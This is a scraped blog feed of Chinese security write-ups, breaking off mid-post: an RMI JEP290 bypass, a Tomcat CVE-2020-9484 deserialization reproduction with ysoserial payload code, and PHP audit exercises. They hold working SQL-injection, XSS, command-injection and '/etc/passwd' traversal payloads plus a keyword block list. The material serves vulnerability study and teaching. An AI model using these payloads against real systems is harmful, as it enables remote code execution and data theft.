<img src="https://y4er.com/img/uploads/20200529118617.png" alt="image.png" /><br />
在远程引用层中客户端服务端两个交互的类分别是<code>RegistryImpl_Stub</code>和<code>RegistryImpl_Skel</code>，在服务端的<code>RegistryImpl_Skel</code>类中，向注册中心进行bind、rebind操作时均进行了readObject操作以此拿到Remote远程对象引用。<br />
<img src="https://y4er.com/img/uploads/20200529113113.png" alt="image.png" /></p>
<p>跟进63行进入到<code>java.io.ObjectInputStream#readObject</code>，然后进入<code>readObject0()</code><br />
<img src="https://y4er.com/img/uploads/20200529117657.png" alt="image.png" /><br />
在readObject0()之中进入readOrdinaryObject()<br />
<img src="https://y4er.com/img/uploads/20200529111407.png" alt="image.png" /><br />
继续进入readClassDesc()<br />
<img src="https://y4er.com/img/uploads/20200529116825.png" alt="image.png" /><br />
进入readProxyDesc()<br />
<img src="https://y4er.com/img/uploads/20200529118768.png" alt="image.png" /></p>
<p>在readProxyDesc()中有filterCheck<br />
<img src="https://y4er.com/img/uploads/20200529117829.png" alt="image.png" /></p>
<p>先检查其所有接口，然后检查对象自身。进入filterCheck()之后<br />
<img src="https://y4er.com/img/uploads/20200529113824.png" alt="image.png" /><br />
调用了serialFilter.checkInput()，最终来到<code>sun.rmi.registry.RegistryImpl#registryFilter</code><br />
<img src="https://y4er.com/img/uploads/20200529116979.png" alt="image.png" /></p>
<pre><code class="language-java line-numbers">return String.class != var2 &amp;&amp; !Number.class.isAssignableFrom(var2) &amp;&amp; !Remote.class.isAssignableFrom(var2) &amp;&amp; !Proxy.class.isAssignableFrom(var2) &amp;&amp; !UnicastRef.class.isAssignableFrom(var2) &amp;&amp; !RMIClientSocketFactory.class.isAssignableFrom(var2) &amp;&amp; !RMIServerSocketFactory.class.isAssignableFrom(var2) &amp;&amp; !ActivationID.class.isAssignableFrom(var2) &amp;&amp; !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200529116890.png" alt="image.png" /><br />
没有给<code>AnnotationInvocationHandler</code>白名单，所以返回REJECTED。</p>
<h2>绕过JEP290</h2>
<p>在RMI远程方法调用过程中，方法参数需要先序列化，从本地JVM发送到远程JVM，然后在远程JVM上反序列化，执行完后，将结果序列化，发送回本地JVM，而在本地的参数是我们可以控制的，如果向参数中注入gadget会怎么样？</p>
<p>我在HelloImpl实现了三个hello()方法，分别是void、string、Object类型的参数<br />
<img src="https://y4er.com/img/uploads/20200529119249.png" alt="image.png" /></p>
<p>在客户端我向Object参数类型注入cc5的gadget<br />
<img src="https://y4er.com/img/uploads/20200529118670.png" alt="image.png" /></p>
<p>运行成功弹出calc<br />
<img src="https://y4er.com/img/uploads/20200529110642.png" alt="image.png" /></p>
<p>也就是说：如果目标的RMI服务暴漏了Object参数类型的方法，我们就可以注入payload进去。</p>
<p>那么别的参数类型呢？在sun.rmi.server.UnicastRef#unmarshalValue中判断了远程调用方法的参数类型<br />
<img src="https://y4er.com/img/uploads/20200529113622.png" alt="image.png" /><br />
如果不是基本类型，就进入readObject，之后的流程也走了filterCheck过滤<br />
<img src="https://y4er.com/img/uploads/20200529110830.png" alt="image.png" /><br />
不过在<code>sun.rmi.transport.DGCImpl#checkInput</code>这里ObjID是在白名单中的，所以可以被反序列化。</p>
<p>那这个只是object类型的参数可以，其他的参数类型呢？</p>
<p>由于攻击者可以完全控制客户端，因此他可以用恶意对象替换从Object类派生的参数（例如String）有几种方法：</p>
<ol>
<li>将java.rmi软件包的代码复制到新软件包，然后在其中更改代码</li>
<li>将调试器附加到正在运行的客户端，并在序列化对象之前替换对象</li>
<li>使用Javassist之类的工具更改字节码</li>
<li>通过实现代理来替换网络流上已经序列化的对象</li>
</ol>
<p>afanti师傅用的是通过RASP hook住<code>java.rmi.server.RemoteObjectInvocationHandler</code>类的<code>InvokeRemoteMethod</code>方法的第三个参数非Object的改为Object的gadget。他的项目地址在<a class="wp-editor-md-post-content-link" href="https://github.com/Afant1/RemoteObjectInvocationHandler">RemoteObjectInvocationHandler</a>。</p>
<p>修改<code>src\main\java\afanti\rasp\visitor\RemoteObjectInvocationHandlerHookVisitor.java</code>的dnslog地址，然后打包出来在RMIClient运行前加上<code>-javaagent:e:/rasp-1.0-SNAPSHOT.jar</code></p>
<p>虽然报错参数类型不匹配<br />
<img src="https://y4er.com/img/uploads/20200529110171.png" alt="image.png" /></p>
<p>但是dnslog已经收到请求了。</p>
<p><img src="https://y4er.com/img/uploads/20200529117757.png" alt="image.png" /></p>
<h2>参考</h2>
<ol>
<li>https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/</li>
<li>https://www.anquanke.com/post/id/200860</li>
<li>https://github.com/Afant1/RemoteObjectInvocationHandler</li>
<li>https://paper.seebug.org/454/</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2020-9484 Tomcat Session Rce 复现分析</title>
		<link>/audit/1788.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 27 May 2020 02:23:07 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[tomcat]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1788</guid>

					<description><![CDATA[环境 Tomcat 7.0.99 JDK7u21 影响版本 &#60;= 9.0.34 &#60;= 8.5.54 &#60;= 7.0.103 配置tomcat调试环境 修改catal...]]></description>
										<content:encoded><![CDATA[<h2>环境</h2>
<ol>
<li>Tomcat 7.0.99</li>
<li>JDK7u21</li>
</ol>
<h2>影响版本</h2>
<ol>
<li>&lt;= 9.0.34</li>
<li>&lt;= 8.5.54</li>
<li>&lt;= 7.0.103</li>
</ol>
<h2>配置<span class="wpcom_tag_link"><a href="/tags/tomcat" title="tomcat" target="_blank">tomcat</a></span>调试环境</h2>
<p>修改catalina.bat添加一行</p>
<pre><code class="line-numbers">set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
</code></pre>
<p>idea配置remote tomcat调试 端口为8001</p>
<h2>复现</h2>
<p>修改tomcat路径conf目录下的context.xml 在<code>&lt;Context&gt;</code>标签内加入以下配置</p>
<pre data-language=XML><code class="language-markup line-numbers">  &lt;Manager className="org.apache.catalina.session.PersistentManager" 
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1"&gt;
      &lt;Store className="org.apache.catalina.session.FileStore" directory="../sessions" /&gt;
  &lt;/Manager&gt;
</code></pre>
<p>为了方便burp抓包，修改server.xml端口为80</p>
<p>下载ysoserial使用idea导入之后修改jdk7u21的链</p>
<pre><code class="language-java line-numbers">package ysoserial.payloads;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload&lt;Object&gt; {

    public static boolean serialize(Object obj, String file) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(file));
            os.writeObject(obj);
            os.close();
            return true;
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            return false;
        }
    }

    public static boolean isApplicableJavaVersion() {
        JavaVersion v = JavaVersion.getLocalVersion();
        return v != null &amp;&amp; (v.major &lt; 7 || (v.major == 7 &amp;&amp; v.update &lt;= 21));
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Jdk7u21.class, args);
    }

    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        serialize(set, "e:/evil.session");
        return set;
    }

}
</code></pre>
<p>配置idea参数为<br />
<img src="https://y4er.com/img/uploads/20200525100696.png" alt="image.png" /><br />
然后运行生成<code>e:/evil.session</code>文件，将其保存到<code>D:\tomcat\apache-tomcat-7.0.99\work\Catalina\localhost\cve-2020-9484_war\sessions</code>目录中，burp抓包设置session为evil，触发反序列化达成RCE。</p>
<p><img src="https://y4er.com/img/uploads/20200525105570.png" alt="image.png" /><br />
<img src="https://y4er.com/img/uploads/20200525100287.png" alt="image.png" /></p>
<h2>分析</h2>
<p>在php中会将用户session以文件的形式存储到服务器中，<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>自然也可以，对于大型的企业应用，为了避障会将数据库或者session以文件的形式保存到文件中，那么以文件的形式保存对象自然就涉及到了序列化和反序列化。</p>
<p>通过复现漏洞可知该反序列化入口点在于<code>Context.xml</code>中配置的<code>org.apache.catalina.session.FileStore</code>，查看其代码在load()中发现readObjcet</p>
<pre><code class="language-java line-numbers">    public Session load(String id) throws ClassNotFoundException, IOException {
        File file = this.file(id);
        if (file != null &amp;&amp; file.exists()) {
            Context context = (Context)this.getManager().getContainer();
            Log containerLog = context.getLogger();
            if (containerLog.isDebugEnabled()) {
                containerLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
            }

            FileInputStream fis = null;
            ObjectInputStream ois = null;
            Loader loader = null;
            ClassLoader classLoader = null;
            ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();

            StandardSession var11;
            try {
                fis = new FileInputStream(file.getAbsolutePath());
                loader = context.getLoader();
                if (loader != null) {
                    classLoader = loader.getClassLoader();
                }

                if (classLoader != null) {
                    Thread.currentThread().setContextClassLoader(classLoader);
                }

                ois = this.getObjectInputStream(fis);
                StandardSession session = (StandardSession)this.manager.createEmptySession();
                session.readObjectData(ois);
                session.setManager(this.manager);
                var11 = session;
                return var11;
            } catch (FileNotFoundException var25) {
                ...
        }
    }
</code></pre>
<p>代码很明显，通过id打开session文件，然后获取context的类加载器赋值给当前线程的类加载器，以此拿到当前容器Container中的lib，<code>session.readObjectData(ois)</code>中触发了反序列化RCE。</p>
<h2>修复</h2>
<p>在 <a class="wp-editor-md-post-content-link" href="https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad">java/org/apache/catalina/session/FileStore.java</a> 中判断了目录是否有效<br />
<img src="https://y4er.com/img/uploads/20200525101938.png" alt="image.png" /></p>
<h2>gadget用哪个?</h2>
<p>因为通过当前Container的类加载器反序列化对象，所以能拿到当前war包中的lib，所以有什么用什么，什么都没有就用jdk的gatget。</p>
<h2>遇到的问题</h2>
<p>直接使用ysoserial生成的payload不行，在<code>java/io/ObjectInputStream.java:299</code>中会验证前几位字节码，抛出异常，堆栈如下</p>
<pre><code class="language-java line-numbers">readStreamHeader:799, ObjectInputStream (java.io)
&lt;init&gt;:299, ObjectInputStream (java.io)
&lt;init&gt;:95, CustomObjectInputStream (org.apache.catalina.util)
getObjectInputStream:237, StoreBase (org.apache.catalina.session)
load:248, FileStore (org.apache.catalina.session)
loadSessionFromStore:789, PersistentManagerBase (org.apache.catalina.session)
swapIn:739, PersistentManagerBase (org.apache.catalina.session)
findSession:517, PersistentManagerBase (org.apache.catalina.session)
doGetSession:3147, Request (org.apache.catalina.connector)
getSession:2489, Request (org.apache.catalina.connector)
getSession:897, RequestFacade (org.apache.catalina.connector)
getSession:909, RequestFacade (org.apache.catalina.connector)
_initialize:147, PageContextImpl (org.apache.jasper.runtime)
initialize:126, PageContextImpl (org.apache.jasper.runtime)
internalGetPageContext:111, JspFactoryImpl (org.apache.jasper.runtime)
getPageContext:64, JspFactoryImpl (org.apache.jasper.runtime)
_jspService:6, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:728, HttpServlet (javax.servlet.http)
service:477, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:395, JspServlet (org.apache.jasper.servlet)
service:339, JspServlet (org.apache.jasper.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:303, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
invoke:219, StandardWrapperValve (org.apache.catalina.core)
invoke:110, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:165, StandardHostValve (org.apache.catalina.core)
invoke:104, ErrorReportValve (org.apache.catalina.valves)
invoke:1025, AccessLogValve (org.apache.catalina.valves)
invoke:116, StandardEngineValve (org.apache.catalina.core)
service:452, CoyoteAdapter (org.apache.catalina.connector)
process:1195, AbstractHttp11Processor (org.apache.coyote.http11)
process:654, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
doRun:2532, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:2521, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:722, Thread (java.lang)
</code></pre>
<p>具体原因可能是因为yso对于反序列化对象写入文件的操作不一样，自己写一个serialize()就行了</p>
<h2>攻击面和约束条件的思考</h2>
<p>先谈约束条件吧，利用难度还是比较大的。<br />
1. 不是默认配置，需要手动增加<code>Context.xml</code><br />
2. 文件上传 文件后缀需要是<code>.session</code><br />
3. 需要知道绝对路径来跨目录</p>
<p>拓展下攻击面，比如redis，这里<code>@l1nk3r</code>师傅公开了<a class="wp-editor-md-post-content-link" href="http://www.lmxspace.com/2020/05/21/Tomcat-Remote-Code-Execution-via-session-persistence-%E5%88%86%E6%9E%90%E3%80%90CVE-2020-9484%E3%80%91/#0x05%E5%90%8E%E8%AF%9D">另一种使用redis的反序列化场景</a>，问题出现在<code>RedisSession</code>类中，原理和9484差不多，id从jsessionid获取，value是反序列化数据，配合redis任意写入value来触发反序列化。</p>
<h2>参考</h2>
<ol>
<li><a class="wp-editor-md-post-content-link" href="http://www.lmxspace.com/2020/05/21/Tomcat-Remote-Code-Execution-via-session-persistence-%E5%88%86%E6%9E%90%E3%80%90CVE-2020-9484%E3%80%91/#0x05%E5%90%8E%E8%AF%9D">另一种使用redis的反序列化场景</a></li>
<li>https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad</li>
<li>https://www.sec-in.com/article/394</li>
<li>https://www.cnblogs.com/potatsoSec/p/12931427.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>php代码审计学习之函数缺陷</title>
		<link>/web/1782.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Fri, 22 May 2020 02:34:49 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[教程分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1782</guid>

					<description><![CDATA[感兴趣的可以参考一下PHP-Audit-Labs 首发地址：php代码审计学习之函数缺陷 in_array函数缺陷 Wish List Code class Challenge {...]]></description>
										<content:encoded><![CDATA[<p><strong>感兴趣的可以参考一下</strong><a class="wp-editor-md-post-content-link" href="https://github.com/hongriSec/PHP-Audit-Labs">PHP-Audit-Labs</a></p>
<p><strong>首发地址：</strong><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7765">php代码审计学习之函数缺陷</a></p>
<h2>in_array函数缺陷</h2>
<h3>Wish List</h3>
<ul>
<li>Code</li>
</ul>
<pre><code class="language-php line-numbers">class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this-&gt;file = $file;
    $this-&gt;whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this-&gt;file['name'], $this-&gt;whitelist)) {
      move_uploaded_file(
        $this-&gt;file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this-&gt;file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);
</code></pre>
<ul>
<li>代码理解</li>
</ul>
<p><strong>代码为一个文件上传的代码，如果文件名存在于1-24中，则上传文件</strong></p>
<ul>
<li>in_array函数</li>
</ul>
<pre><code class="line-numbers">in_array
检查数组中是否存在某个值
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>php弱类型比较时，6php会转换为6，6在1-24中间，所以可以进行上传</strong></p>
<h3>piwigo2.7.1实例分析</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308143432.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>于picture.php:332中</li>
</ul>
<pre><code class="language-php line-numbers">case 'rate' :
    {
      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }
</code></pre>
<p><strong>当case为rate时，将变量rate和变量image_id传入functions_rate.inc.php文件中的rate_picture函数</strong></p>
<ul>
<li>include/functions_rate.inc.php:38</li>
</ul>
<pre><code class="language-php line-numbers">or !in_array($rate, $conf['rate_items']))
</code></pre>
<p><strong>查找变量rate是否存在于$conf[&#8216;rate_items&#8217;]当中</strong></p>
<pre><code class="language-php line-numbers">$conf['rate_items']
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308145619.png" alt="" /></p>
<ul>
<li>直接将rate进行了拼接</li>
</ul>
<pre><code class="language-php line-numbers">$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
</code></pre>
<p><strong>只要rate为array(0,1,2,3,4,5)便可以进行绕过，而in_array第三位未设置为true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 
</code></pre>
<ul>
<li>sqlmap</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308174418.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308181630.png" alt="" /></p>
<ul>
<li>stop_hack函数</li>
</ul>
<pre><code class="language-php line-numbers">function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
</code></pre>
<p><strong>stop_hack用来过滤一些危险函数</strong></p>
<ul>
<li>注入</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308182616.png" alt="" /></p>
<p><strong>获取get的ID，通过stop_hack进行过滤并拼接到sql语句中进行查询</strong></p>
<ul>
<li>报错注入payload</li>
</ul>
<pre><code class="language-php line-numbers">and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308183821.png" alt="" /></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="line-numbers">https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs%E9%A2%98%E8%A7%A3/Day1-4/files/README.md
https://xz.aliyun.com/t/2160
</code></pre>
<h2>filter_var函数缺陷</h2>
<h3>Twig</h3>
<pre><code class="language-php line-numbers">// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '&lt;img ' .
      'src="https://loremflickr.com/320/240"&gt;' .
      '&lt;a href="{{link|escape}}"&gt;Next slide &amp;raquo;&lt;/a&gt;';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new Twig\Loader\ArrayLoader([
      'index.html' =&gt; $indexTemplate
    ]);
    $this-&gt;twig = new Twig\Environment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this-&gt;twig-&gt;render(
      'index.html',
      ['link' =&gt; $this-&gt;getNexSlideUrl()]
    );
  }
}

(new Template())-&gt;render();
</code></pre>
<p><strong>使用escape和filter_var进行过滤</strong></p>
<ul>
<li>escape</li>
</ul>
<p><strong>默认是使用了htmlspecialchars方法进行过滤，</strong></p>
<ul>
<li>filter_var</li>
</ul>
<pre><code class="language-php line-numbers">使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
</code></pre>
<ul>
<li>htmlspecialchars转义</li>
</ul>
<pre><code class="line-numbers">&amp; (&amp; 符号)  ===============  &amp;amp;
" (双引号)  ===============  &amp;quot;
' (单引号)  ===============  &amp;apos;
&lt; (小于号)  ===============  &amp;lt;
&gt; (大于号)  ===============  &amp;gt;
</code></pre>
<p><strong>默认只过滤双引号，不过滤单引号，只有设置了：quotestyle 选项为ENT_QUOTES才会过滤单引号</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">javascript://comment%250aalert(1)
</code></pre>
<h3>anchor-cms</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200309141247.png" alt="" /></p>
<h4>源码分析</h4>
<ul>
<li>themes/default/404.php:9</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200309150252.png" alt="" /></p>
<ul>
<li>anchor/functions/helpers.php:34 current_url()函数</li>
</ul>
<pre><code class="language-php line-numbers">function current_url() {
    return Uri::current();
}
</code></pre>
<ul>
<li>system/uri.php:84</li>
</ul>
<pre><code class="language-php line-numbers">public static function current() {
        if(is_null(static::$current)) static::$current = static::detect();
        return static::$current;
    }
</code></pre>
<ul>
<li>detect 方法</li>
</ul>
<pre><code class="language-php line-numbers">public static function detect() {
        // create a server object from global
        $server = new Server($_SERVER);

        $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');

        foreach($try as $method) {

            // make sure the server var exists and is not empty
            if($server-&gt;has($method) and $uri = $server-&gt;get($method)) {

                // apply a string filter and make sure we still have somthing left
                if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
                }
            }
        }

        throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');
    }
</code></pre>
<p><strong>关键代码</strong></p>
<pre><code class="language-php line-numbers">if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
</code></pre>
<ul>
<li>system/uri.php:126</li>
</ul>
<pre><code class="language-php line-numbers">    public static function format($uri, $server) {
        // Remove all characters except letters,
        // digits and $-_.+!*'(),{}|\\^~[]`&lt;&gt;#%";/?:@&amp;=.
        $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);

        // remove script path/name
        $uri = static::remove_script_name($uri, $server);

        // remove the relative uri
        $uri = static::remove_relative_uri($uri);

        // return argument if not empty or return a single slash
        return trim($uri, '/') ?: '/';
    }
</code></pre>
<p><strong>没有对xss进行过滤</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">http://localhost:8888/test/index.php/%3Cscript%3Ealert(1)%3C/script%3E
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200309153333.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200309155130.png" alt="" /></p>
<ul>
<li>flag.php</li>
</ul>
<pre><code class="language-php line-numbers">&lt;?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?&gt;
</code></pre>
<ul>
<li>index.php</li>
</ul>
<pre><code class="language-php line-numbers">&lt;?php 
$url = $_GET['url']; // 获取url

if(isset($url) &amp;&amp; filter_var($url, FILTER_VALIDATE_URL)){  //过滤url
    $site_info = parse_url($url);

    if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com结尾
        exec('curl "'.$site_info['host'].'"', $result);
        echo "&lt;center&gt;&lt;h1&gt;You have curl {$site_info['host']} successfully!&lt;/h1&gt;&lt;/center&gt;
              &lt;center&gt;&lt;textarea rows='20' cols='90'&gt;";
        echo implode(' ', $result);
    } //命令执行

    else{
        die("&lt;center&gt;&lt;h1&gt;Error: Host not allowed&lt;/h1&gt;&lt;/center&gt;");
    }

}
else{
    echo "&lt;center&gt;&lt;h1&gt;Just curl sec-redclub.com!&lt;/h1&gt;&lt;/center&gt;&lt;br&gt;
          &lt;center&gt;&lt;h3&gt;For example:?url=http://sec-redclub.com&lt;/h3&gt;&lt;/center&gt;";
}
?&gt;
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">syst1m://"|ls;"sec-redclub.com
syst1m://"|cat&lt;f1agi3hEre.php;"sec-redclub.com
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200309162636.png" alt="" /></p>
<h2>实例化任意对象漏洞</h2>
<h3>Snow Flake</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">function __autoload($className) { //自动加载
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];  //获取get的c与d作为类名与参数

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller-&gt;render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this-&gt;template = $template;
    $this-&gt;variables = $variables;
  }

  public function render() {
    if ($this-&gt;variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}
</code></pre>
<p><strong>如果存在如果程序存在 __autoload函数，class_exists函数就会自动调用方法</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">/?c=../../../../etc/passwd
</code></pre>
<h3>Shopware 5.3.3 （XXE）</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310141611.png" alt="" /></p>
<h4>代码分析</h4>
<ul>
<li>漏洞触发点</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310142234.png" alt="" /></p>
<ul>
<li>打断点</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310143309.png" alt="" /></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:52</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310143748.png" alt="" /></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:63</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310144659.png" alt="" /></p>
<p><strong>使用$this->Request()->getParam(&#8216;sort&#8217;)获取sort，然后进入RepositoryInterface类的unserialize方法</strong></p>
<ul>
<li>engine/Shopware/Components/LogawareReflectionHelper.php:56</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310145112.png" alt="" /></p>
<p><strong>调用的是LogawareReflectionHelper类的unserialize方法</strong></p>
<p><strong>$serialized为传入的sort变量，遍历取出className，传入createInstanceFromNamedArguments方法</strong></p>
<ul>
<li>engine/Shopware/Components/ReflectionHelper.php:40</li>
</ul>
